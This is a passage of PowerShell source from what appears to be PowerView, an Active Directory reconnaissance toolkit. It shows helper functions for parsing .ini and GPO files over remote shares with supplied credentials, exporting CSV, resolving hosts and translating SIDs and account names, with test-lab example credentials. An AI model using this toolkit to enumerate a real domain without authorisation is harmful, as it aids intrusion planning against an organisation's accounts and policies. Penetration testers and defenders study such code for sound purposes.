# If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator 999 if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { 1000 $_.Key 1001 } 1002 } 1003 } 1004 if($StaleKeys) { 1005 $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} 1006 } 1007 1008 # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters 1009 $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | 1010 # Find parameters that are belong to the current parameter set 1011 Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | 1012 Select-Object -ExpandProperty Key | 1013 # Find unbound parameters in the current parameter set 1014 Where-Object { $PSBoundParameters.Keys -notcontains $_ } 1015 1016 # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) 1017 $tmp = $null 1018 ForEach ($Parameter in $UnboundParameters) { 1019 $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 1020 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { 1021 $PSBoundParameters.$Parameter = $DefaultValue 1022 } 1023 } 1024 1025 if($Dictionary) { 1026 $DPDictionary = $Dictionary 1027 } 1028 else { 1029 $DPDictionary = $InternalDictionary 1030 } 1031 1032 # Shortcut for getting local variables 1033 $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} 1034 1035 # Strings to match attributes and validation arguments 1036 $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' 1037 $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' 1038 $AliasRegex = '^Alias$' 1039 $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute 1040 1041 switch -regex ($PSBoundParameters.Keys) { 1042 $AttributeRegex { 1043 Try { 1044 $ParameterAttribute.$_ = . $GetVar 1045 } 1046 Catch { 1047 $_ 1048 } 1049 continue 1050 } 1051 } 1052 1053 if($DPDictionary.Keys -contains $Name) { 1054 $DPDictionary.$Name.Attributes.Add($ParameterAttribute) 1055 } 1056 else { 1057 $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] 1058 switch -regex ($PSBoundParameters.Keys) { 1059 $ValidationRegex { 1060 Try { 1061 $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop 1062 $AttributeCollection.Add($ParameterOptions) 1063 } 1064 Catch { $_ } 1065 continue 1066 } 1067 $AliasRegex { 1068 Try { 1069 $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop 1070 $AttributeCollection.Add($ParameterAlias) 1071 continue 1072 } 1073 Catch { $_ } 1074 } 1075 } 1076 $AttributeCollection.Add($ParameterAttribute) 1077 $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) 1078 $DPDictionary.Add($Name, $Parameter) 1079 } 1080 } 1081 } 1082 1083 End { 1084 if(!$CreateVariables -and !$Dictionary) { 1085 $DPDictionary 1086 } 1087 } 1088 } 1089 1090 1091 function Get-IniContent { 1092 <# 1093 .SYNOPSIS 1094 1095 This helper parses an .ini file into a hashtable. 1096 1097 Author: 'The Scripting Guys' 1098 Modifications: @harmj0y (-Credential support) 1099 License: BSD 3-Clause 1100 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection 1101 1102 .DESCRIPTION 1103 1104 Parses an .ini file into a hashtable. If -Credential is supplied, 1105 then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file 1106 is parsed, and then the connection is destroyed with Remove-RemoteConnection. 1107 1108 .PARAMETER Path 1109 1110 Specifies the path to the .ini file to parse. 1111 1112 .PARAMETER OutputObject 1113 1114 Switch. Output a custom PSObject instead of a hashtable. 1115 1116 .PARAMETER Credential 1117 1118 A [Management.Automation.PSCredential] object of alternate credentials 1119 for connection to the remote system. 1120 1121 .EXAMPLE 1122 1123 Get-IniContent C:\Windows\example.ini 1124 1125 .EXAMPLE 1126 1127 "C:\Windows\example.ini" | Get-IniContent -OutputObject 1128 1129 Outputs the .ini details as a proper nested PSObject. 1130 1131 .EXAMPLE 1132 1133 "C:\Windows\example.ini" | Get-IniContent 1134 1135 .EXAMPLE 1136 1137 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 1138 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 1139 Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred 1140 1141 .INPUTS 1142 1143 String 1144 1145 Accepts one or more .ini paths on the pipeline. 1146 1147 .OUTPUTS 1148 1149 Hashtable 1150 1151 Ouputs a hashtable representing the parsed .ini file. 1152 1153 .LINK 1154 1155 https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 1156 #> 1157 1158 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 1159 [OutputType([Hashtable])] 1160 [CmdletBinding()] 1161 Param( 1162 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1163 [Alias('FullName', 'Name')] 1164 [ValidateNotNullOrEmpty()] 1165 [String[]] 1166 $Path, 1167 1168 [Management.Automation.PSCredential] 1169 [Management.Automation.CredentialAttribute()] 1170 $Credential = [Management.Automation.PSCredential]::Empty, 1171 1172 [Switch] 1173 $OutputObject 1174 ) 1175 1176 BEGIN { 1177 $MappedComputers = @{} 1178 } 1179 1180 PROCESS { 1181 ForEach ($TargetPath in $Path) { 1182 if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { 1183 $HostComputer = (New-Object System.Uri($TargetPath)).Host 1184 if (-not $MappedComputers[$HostComputer]) { 1185 # map IPC$ to this computer if it's not already 1186 Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential 1187 $MappedComputers[$HostComputer] = $True 1188 } 1189 } 1190 1191 if (Test-Path -Path $TargetPath) { 1192 if ($PSBoundParameters['OutputObject']) { 1193 $IniObject = New-Object PSObject 1194 } 1195 else { 1196 $IniObject = @{} 1197 } 1198 Switch -Regex -File $TargetPath { 1199 "^\[(.+)\]" # Section 1200 { 1201 $Section = $matches[1].Trim() 1202 if ($PSBoundParameters['OutputObject']) { 1203 $Section = $Section.Replace(' ', '') 1204 $SectionObject = New-Object PSObject 1205 $IniObject | Add-Member Noteproperty $Section $SectionObject 1206 } 1207 else { 1208 $IniObject[$Section] = @{} 1209 } 1210 $CommentCount = 0 1211 } 1212 "^(;.*)$" # Comment 1213 { 1214 $Value = $matches[1].Trim() 1215 $CommentCount = $CommentCount + 1 1216 $Name = 'Comment' + $CommentCount 1217 if ($PSBoundParameters['OutputObject']) { 1218 $Name = $Name.Replace(' ', '') 1219 $IniObject.$Section | Add-Member Noteproperty $Name $Value 1220 } 1221 else { 1222 $IniObject[$Section][$Name] = $Value 1223 } 1224 } 1225 "(.+?)\s*=(.*)" # Key 1226 { 1227 $Name, $Value = $matches[1..2] 1228 $Name = $Name.Trim() 1229 $Values = $Value.split(',') | ForEach-Object { $_.Trim() } 1230 1231 # if ($Values -isnot [System.Array]) { $Values = @($Values) } 1232 1233 if ($PSBoundParameters['OutputObject']) { 1234 $Name = $Name.Replace(' ', '') 1235 $IniObject.$Section | Add-Member Noteproperty $Name $Values 1236 } 1237 else { 1238 $IniObject[$Section][$Name] = $Values 1239 } 1240 } 1241 } 1242 $IniObject 1243 } 1244 } 1245 } 1246 1247 END { 1248 # remove the IPC$ mappings 1249 $MappedComputers.Keys | Remove-RemoteConnection 1250 } 1251 } 1252 1253 1254 function Export-PowerViewCSV { 1255 <# 1256 .SYNOPSIS 1257 1258 Converts objects into a series of comma-separated (CSV) strings and saves the 1259 strings in a CSV file in a thread-safe manner. 1260 1261 Author: Will Schroeder (@harmj0y) 1262 License: BSD 3-Clause 1263 Required Dependencies: None 1264 1265 .DESCRIPTION 1266 1267 This helper exports an -InputObject to a .csv in a thread-safe manner 1268 using a mutex. This is so the various multi-threaded functions in 1269 PowerView has a thread-safe way to export output to the same file. 1270 Uses .NET IO.FileStream/IO.StreamWriter objects for speed. 1271 1272 Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 1273 1274 .PARAMETER InputObject 1275 1276 Specifies the objects to export as CSV strings. 1277 1278 .PARAMETER Path 1279 1280 Specifies the path to the CSV output file. 1281 1282 .PARAMETER Delimiter 1283 1284 Specifies a delimiter to separate the property values. The default is a comma (,) 1285 1286 .PARAMETER Append 1287 1288 Indicates that this cmdlet adds the CSV output to the end of the specified file. 1289 Without this parameter, Export-PowerViewCSV replaces the file contents without warning. 1290 1291 .EXAMPLE 1292 1293 Get-DomainUser | Export-PowerViewCSV -Path "users.csv" 1294 1295 .EXAMPLE 1296 1297 Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' 1298 1299 .INPUTS 1300 1301 PSObject 1302 1303 Accepts one or more PSObjects on the pipeline. 1304 1305 .LINK 1306 1307 http://poshcode.org/1590 1308 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ 1309 #> 1310 1311 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 1312 [CmdletBinding()] 1313 Param( 1314 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1315 [System.Management.Automation.PSObject[]] 1316 $InputObject, 1317 1318 [Parameter(Mandatory = $True, Position = 1)] 1319 [ValidateNotNullOrEmpty()] 1320 [String] 1321 $Path, 1322 1323 [Parameter(Position = 2)] 1324 [ValidateNotNullOrEmpty()] 1325 [Char] 1326 $Delimiter = ',', 1327 1328 [Switch] 1329 $Append 1330 ) 1331 1332 BEGIN { 1333 $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) 1334 $Exists = [System.IO.File]::Exists($OutputPath) 1335 1336 # mutex so threaded code doesn't stomp on the output file 1337 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' 1338 $Null = $Mutex.WaitOne() 1339 1340 if ($PSBoundParameters['Append']) { 1341 $FileMode = [System.IO.FileMode]::Append 1342 } 1343 else { 1344 $FileMode = [System.IO.FileMode]::Create 1345 $Exists = $False 1346 } 1347 1348 $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) 1349 $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) 1350 $CSVWriter.AutoFlush = $True 1351 } 1352 1353 PROCESS { 1354 ForEach ($Entry in $InputObject) { 1355 $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation 1356 1357 if (-not $Exists) { 1358 # output the object field names as well 1359 $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } 1360 $Exists = $True 1361 } 1362 else { 1363 # only output object field data 1364 $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } 1365 } 1366 } 1367 } 1368 1369 END { 1370 $Mutex.ReleaseMutex() 1371 $CSVWriter.Dispose() 1372 $CSVStream.Dispose() 1373 } 1374 } 1375 1376 1377 function Resolve-IPAddress { 1378 <# 1379 .SYNOPSIS 1380 1381 Resolves a given hostename to its associated IPv4 address. 1382 1383 Author: Will Schroeder (@harmj0y) 1384 License: BSD 3-Clause 1385 Required Dependencies: None 1386 1387 .DESCRIPTION 1388 1389 Resolves a given hostename to its associated IPv4 address using 1390 [Net.Dns]::GetHostEntry(). If no hostname is provided, the default 1391 is the IP address of the localhost. 1392 1393 .EXAMPLE 1394 1395 Resolve-IPAddress -ComputerName SERVER 1396 1397 .EXAMPLE 1398 1399 @("SERVER1", "SERVER2") | Resolve-IPAddress 1400 1401 .INPUTS 1402 1403 String 1404 1405 Accepts one or more IP address strings on the pipeline. 1406 1407 .OUTPUTS 1408 1409 System.Management.Automation.PSCustomObject 1410 1411 A custom PSObject with the ComputerName and IPAddress. 1412 #> 1413 1414 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 1415 [OutputType('System.Management.Automation.PSCustomObject')] 1416 [CmdletBinding()] 1417 Param( 1418 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1419 [Alias('HostName', 'dnshostname', 'name')] 1420 [ValidateNotNullOrEmpty()] 1421 [String[]] 1422 $ComputerName = $Env:COMPUTERNAME 1423 ) 1424 1425 PROCESS { 1426 ForEach ($Computer in $ComputerName) { 1427 try { 1428 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { 1429 if ($_.AddressFamily -eq 'InterNetwork') { 1430 $Out = New-Object PSObject 1431 $Out | Add-Member Noteproperty 'ComputerName' $Computer 1432 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString 1433 $Out 1434 } 1435 } 1436 } 1437 catch { 1438 Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." 1439 } 1440 } 1441 } 1442 } 1443 1444 1445 function ConvertTo-SID { 1446 <# 1447 .SYNOPSIS 1448 1449 Converts a given user/group name to a security identifier (SID). 1450 1451 Author: Will Schroeder (@harmj0y) 1452 License: BSD 3-Clause 1453 Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain 1454 1455 .DESCRIPTION 1456 1457 Converts a "DOMAIN\username" syntax to a security identifier (SID) 1458 using System.Security.Principal.NTAccount's translate function. If alternate 1459 credentials are supplied, then Get-ADObject is used to try to map the name 1460 to a security identifier. 1461 1462 .PARAMETER ObjectName 1463 1464 The user/group name to convert, can be 'user' or 'DOMAIN\user' format. 1465 1466 .PARAMETER Domain 1467 1468 Specifies the domain to use for the translation, defaults to the current domain. 1469 1470 .PARAMETER Server 1471 1472 Specifies an Active Directory server (domain controller) to bind to for the translation. 1473 1474 .PARAMETER Credential 1475 1476 Specifies an alternate credential to use for the translation. 1477 1478 .EXAMPLE 1479 1480 ConvertTo-SID 'DEV\dfm' 1481 1482 .EXAMPLE 1483 1484 'DEV\dfm','DEV\krbtgt' | ConvertTo-SID 1485 1486 .EXAMPLE 1487 1488 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 1489 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 1490 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred 1491 1492 .INPUTS 1493 1494 String 1495 1496 Accepts one or more username specification strings on the pipeline. 1497 1498 .OUTPUTS 1499 1500 String 1501 1502 A string representing the SID of the translated name. 1503 #> 1504 1505 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 1506 [OutputType([String])] 1507 [CmdletBinding()] 1508 Param( 1509 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1510 [Alias('Name', 'Identity')] 1511 [String[]] 1512 $ObjectName, 1513 1514 [ValidateNotNullOrEmpty()] 1515 [String] 1516 $Domain, 1517 1518 [ValidateNotNullOrEmpty()] 1519 [Alias('DomainController')] 1520 [String] 1521 $Server, 1522 1523 [Management.Automation.PSCredential] 1524 [Management.Automation.CredentialAttribute()] 1525 $Credential = [Management.Automation.PSCredential]::Empty 1526 ) 1527 1528 BEGIN { 1529 $DomainSearcherArguments = @{} 1530 if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } 1531 if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } 1532 if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } 1533 } 1534 1535 PROCESS { 1536 ForEach ($Object in $ObjectName) { 1537 $Object = $Object -Replace '/','\' 1538 1539 if ($PSBoundParameters['Credential']) { 1540 $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments 1541 if ($DN) { 1542 $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 1543 $UserName = $DN.Split(',')[0].split('=')[1] 1544 1545 $DomainSearcherArguments['Identity'] = $UserName 1546 $DomainSearcherArguments['Domain'] = $UserDomain 1547 $DomainSearcherArguments['Properties'] = 'objectsid' 1548 Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid 1549 } 1550 } 1551 else { 1552 try { 1553 if ($Object.Contains('\')) { 1554 $Domain = $Object.Split('\')[0] 1555 $Object = $Object.Split('\')[1] 1556 } 1557 elseif (-not $PSBoundParameters['Domain']) { 1558 $DomainSearcherArguments = @{} 1559 $Domain = (Get-Domain @DomainSearcherArguments).Name 1560 } 1561 1562 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) 1563 $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value 1564 } 1565 catch { 1566 Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" 1567 } 1568 } 1569 } 1570 } 1571 } 1572 1573 1574 function ConvertFrom-SID { 1575 <# 1576 .SYNOPSIS 1577 1578 Converts a security identifier (SID) to a group/user name. 1579 1580 Author: Will Schroeder (@harmj0y) 1581 License: BSD 3-Clause 1582 Required Dependencies: Convert-ADName 1583 1584 .DESCRIPTION 1585 1586 Converts a security identifier string (SID) to a group/user name 1587 using Convert-ADName. 1588 1589 .PARAMETER ObjectSid 1590 1591 Specifies one or more SIDs to convert. 1592 1593 .PARAMETER Domain 1594 1595 Specifies the domain to use for the translation, defaults to the current domain. 1596 1597 .PARAMETER Server 1598 1599 Specifies an Active Directory server (domain controller) to bind to for the translation. 1600 1601 .PARAMETER Credential 1602 1603 Specifies an alternate credential to use for the translation. 1604 1605 .EXAMPLE 1606 1607 ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 1608 1609 TESTLAB\harmj0y 1610 1611 .EXAMPLE 1612 1613 "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID 1614 1615 TESTLAB\WINDOWS2$ 1616 TESTLAB\harmj0y 1617 BUILTIN\Distributed COM Users 1618 1619 .EXAMPLE 1620 1621 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 1622 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) 1623 ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred 1624 1625 TESTLAB\harmj0y 1626 1627 .INPUTS 1628 1629 String 1630 1631 Accepts one or more SID strings on the pipeline. 1632 1633 .OUTPUTS 1634 1635 String 1636 1637 The converted DOMAIN\username. 1638 #> 1639 1640 [OutputType([String])] 1641 [CmdletBinding()] 1642 Param( 1643 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1644 [Alias('SID')] 1645 [ValidatePattern('^S-1-.*')] 1646 [String[]] 1647 $ObjectSid, 1648 1649 [ValidateNotNullOrEmpty()] 1650 [String] 1651 $Domain, 1652 1653 [ValidateNotNullOrEmpty()] 1654 [Alias('DomainController')] 1655 [String] 1656 $Server, 1657 1658 [Management.Automation.PSCredential] 1659 [Management.Automation.CredentialAttribute()] 1660 $Credential = [Management.Automation.PSCredential]::Empty 1661 ) 1662 1663 BEGIN { 1664 $ADNameArguments = @{} 1665 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } 1666 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } 1667 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } 1668 } 1669 1670 PROCESS { 1671 ForEach ($TargetSid in $ObjectSid) { 1672 $TargetSid = $TargetSid.trim('*') 1673 try { 1674 # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 1675 Switch ($TargetSid) { 1676 'S-1-0' { 'Null Authority' } 1677 'S-1-0-0' { 'Nobody' } 1678 'S-1-1' { 'World Authority' } 1679 'S-1-1-0' { 'Everyone' } 1680 'S-1-2' { 'Local Authority' } 1681 'S-1-2-0' { 'Local' } 1682 'S-1-2-1' { 'Console Logon ' } 1683 'S-1-3' { 'Creator Authority' } 1684 'S-1-3-0' { 'Creator Owner' } 1685 'S-1-3-1' { 'Creator Group' } 1686 'S-1-3-2' { 'Creator Owner Server' } 1687 'S-1-3-3' { 'Creator Group Server' } 1688 'S-1-3-4' { 'Owner Rights' } 1689 'S-1-4' { 'Non-unique Authority' } 1690 'S-1-5' { 'NT Authority' } 1691 'S-1-5-1' { 'Dialup' } 1692 'S-1-5-2' { 'Network' } 1693 'S-1-5-3' { 'Batch' } 1694 'S-1-5-4' { 'Interactive' } 1695 'S-1-5-6' { 'Service' } 1696 'S-1-5-7' { 'Anonymous' } 1697 'S-1-5-8' { 'Proxy' } 1698 'S-1-5-9' { 'Enterprise Domain Controllers' } 1699 'S-1-5-10' { 'Principal Self' } 1700 'S-1-5-11' { 'Authenticated Users' } 1701 'S-1-5-12' { 'Restricted Code' } 1702 'S-1-5-13' { 'Terminal Server Users' } 1703 'S-1-5-14' { 'Remote Interactive Logon' } 1704 'S-1-5-15' { 'This Organization ' } 1705 'S-1-5-17' { 'This Organization ' } 1706 'S-1-5-18' { 'Local System' } 1707 'S-1-5-19' { 'NT Authority' } 1708 'S-1-5-20' { 'NT Authority' } 1709 'S-1-5-80-0' { 'All Services ' } 1710 'S-1-5-32-544' { 'BUILTIN\Administrators' } 1711 'S-1-5-32-545' { 'BUILTIN\Users' } 1712 'S-1-5-32-546' { 'BUILTIN\Guests' } 1713 'S-1-5-32-547' { 'BUILTIN\Power Users' } 1714 'S-1-5-32-548' { 'BUILTIN\Account Operators' } 1715 'S-1-5-32-549' { 'BUILTIN\Server Operators' } 1716 'S-1-5-32-550' { 'BUILTIN\Print Operators' } 1717 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } 1718 'S-1-5-32-552' { 'BUILTIN\Replicators' } 1719 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } 1720 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } 1721 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } 1722 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } 1723 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } 1724 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } 1725 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } 1726 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } 1727 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } 1728 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } 1729 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } 1730 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } 1731 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } 1732 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } 1733 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } 1734 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } 1735 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } 1736 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } 1737 Default { 1738 Convert-ADName -Identity $TargetSid @ADNameArguments 1739 } 1740 } 1741 } 1742 catch { 1743 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" 1744 } 1745 } 1746 } 1747 } 1748 1749 1750 function Convert-ADName { 1751 <# 1752 .SYNOPSIS 1753 1754 Converts Active Directory object names between a variety of formats. 1755 1756 Author: Bill Stewart, Pasquale Lantella 1757 Modifications: Will Schroeder (@harmj0y) 1758 License: BSD 3-Clause 1759 Required Dependencies: None 1760 1761 .DESCRIPTION 1762 1763 This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) 1764 and translates Active Directory names between various formats using the NameTranslate COM object. 1765 1766 .PARAMETER Identity 1767 1768 Specifies the Active Directory object name to translate, of the following form: 1769 1770 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' 1771 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' 1772 NT4 domain\username; e.g., 'fabrikam\pflynn' 1773 Display display name, e.g. 'pflynn' 1774 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' 1775 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' 1776 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' 1777 UPN user principal name; e.g., 'pflynn@fabrikam.com' 1778 CanonicalEx extended canonical name format 1779 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' 1780 SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' 1781 1782 .PARAMETER OutputType 1783 1784 Specifies the output name type you want to convert to, which must be one of the following: 1785 1786 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' 1787 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' 1788 NT4 domain\username; e.g., 'fabrikam\pflynn' 1789 Display display name, e.g. 'pflynn' 1790 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' 1791 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' 1792 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' 1793 UPN user principal name; e.g., 'pflynn@fabrikam.com' 1794 CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' 1795 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' 1796 1797 .PARAMETER Domain 1798 1799 Specifies the domain to use for the translation, defaults to the current domain. 1800 1801 .PARAMETER Server 1802 1803 Specifies an Active Directory server (domain controller) to bind to for the translation. 1804 1805 .PARAMETER Credential 1806 1807 Specifies an alternate credential to use for the translation. 1808 1809 .EXAMPLE 1810 1811 Convert-ADName -Identity "TESTLAB\harmj0y" 1812 1813 harmj0y@testlab.local 1814 1815 .EXAMPLE 1816 1817 "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical 1818 1819 testlab.local/Users/krbtgt 1820 testlab.local/Users/Administrator 1821 1822 .EXAMPLE 1823 1824 Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local 1825 1826 CN=harmj0y,CN=Users,DC=testlab,DC=local 1827 1828 .EXAMPLE 1829 1830 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 1831 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) 1832 'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred 1833 1834 TESTLAB\harmj0y 1835 1836 .INPUTS 1837 1838 String 1839 1840 Accepts one or more objects name strings on the pipeline. 1841 1842 .OUTPUTS 1843 1844 String 1845 1846 Outputs a string representing the converted name. 1847 1848 .LINK 1849 1850 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats 1851 https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 1852 #> 1853 1854 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 1855 [OutputType([String])] 1856 [CmdletBinding()] 1857 Param( 1858 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1859 [Alias('Name', 'ObjectName')] 1860 [String[]] 1861 $Identity, 1862 1863 [String] 1864 [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] 1865 $OutputType, 1866 1867 [ValidateNotNullOrEmpty()] 1868 [String] 1869 $Domain, 1870 1871 [ValidateNotNullOrEmpty()] 1872 [Alias('DomainController')] 1873 [String] 1874 $Server, 1875 1876 [Management.Automation.PSCredential] 1877 [Management.Automation.CredentialAttribute()] 1878 $Credential = [Management.Automation.PSCredential]::Empty 1879 ) 1880 1881 BEGIN { 1882 $NameTypes = @{ 1883 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com 1884 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn 1885 'NT4' = 3 # fabrikam\pflynn 1886 'Display' = 4 # pflynn 1887 'DomainSimple' = 5 # pflynn@fabrikam.com 1888 'EnterpriseSimple' = 6 # pflynn@fabrikam.com 1889 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} 1890 'Unknown' = 8 # unknown type - let the server do translation 1891 'UPN' = 9 # pflynn@fabrikam.com 1892 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn 1893 'SPN' = 11 # HTTP/kairomac.contoso.com 1894 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 1895 } 1896 1897 # accessor functions from Bill Stewart to simplify calls to NameTranslate 1898 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { 1899 $Output = $Null 1900 $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) 1901 Write-Output $Output 1902 } 1903 1904 function Get-Property([__ComObject] $Object, [String] $Property) { 1905 $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, 